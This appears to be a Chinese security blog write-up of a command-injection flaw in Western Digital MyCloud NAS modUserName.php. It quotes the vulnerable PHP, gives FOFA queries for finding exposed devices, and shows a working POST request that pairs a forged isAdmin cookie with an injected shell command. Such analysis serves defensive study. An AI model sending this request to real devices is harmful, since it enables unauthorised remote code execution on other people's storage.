西部数码 NAS modUserName.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS modUserName.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 modUserName.php 其业务实现逻辑如下

<?
session_start();
$r = new stdClass();
$r->success = false;

include ("../lib/login_checker.php");

/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
    echo json_encode($r);
    exit;
}
if (isset($_POST['username']) && $_POST['username'] != "")
{
    $username = $_POST['username'];
    $oldName = $_POST['oldName'];
    $ip = $_SERVER['REMOTE_ADDR'];

    if (isset($_SESSION['username']))
    {
       $sname = $_SESSION['username'];
       $debugCmd="echo old:$sname >/tmp/debug";
       exec($debugCmd, $ret);

    unset($_SESSION['username']);
    $_SESSION['username'] = $username;

       $sname = $_SESSION['username'];
       $debugCmd="echo new:$sname >>/tmp/debug";
       exec($debugCmd, $ret);

    session_write_close();

       //echo $_SESSION['username'];
    }
    else
    {
       $debugCmd="echo 'no session' >>/tmp/debug";
       exec($debugCmd, $ret);
    }

    //wto delete 
    $cmd = "wto -n \"$oldName\" -d ";
    system($cmd,$retval);

    //wto add
    $cmd = "wto -n \"$username\" -i \"$ip\" -s";
    system($cmd,$retval);

    header("Status: 200");
}
?>

在处理管理员修改用户名的功能时,将用户提交的 username 和 oldName 参数未经任何过滤或转义,直接拼接到 system() 函数执行的系统命令中,导致了命令注入漏洞。尽管需要管理员权限,但可以结合login_check的权限绕过达到 RCE的效果。

漏洞复现

POST /web/php/modUserName.php HTTP/1.1
Host: west.nas.mrxn.net
Cookie: username=test; isAdmin=1
Content-Type: application/x-www-form-urlencoded

oldName=someuser&username=newuser"; id; #

成功执行id命令并回显结果


手机扫码阅读

沉浸式翻译插件泄露用户信息,请尽快下载自查

汉王e脸通综合管理平台 getAllRecord.do SQL注入漏洞

评 论
avatar
newbie
楼主你好,我试了一下,好像已经解决了,是吗?我需要你验证一下
1 年前 回复
avatar
Mrxn
@newbie:只影响部分老旧版本 审计记录仅是学习过程 仅此而已
1 年前 回复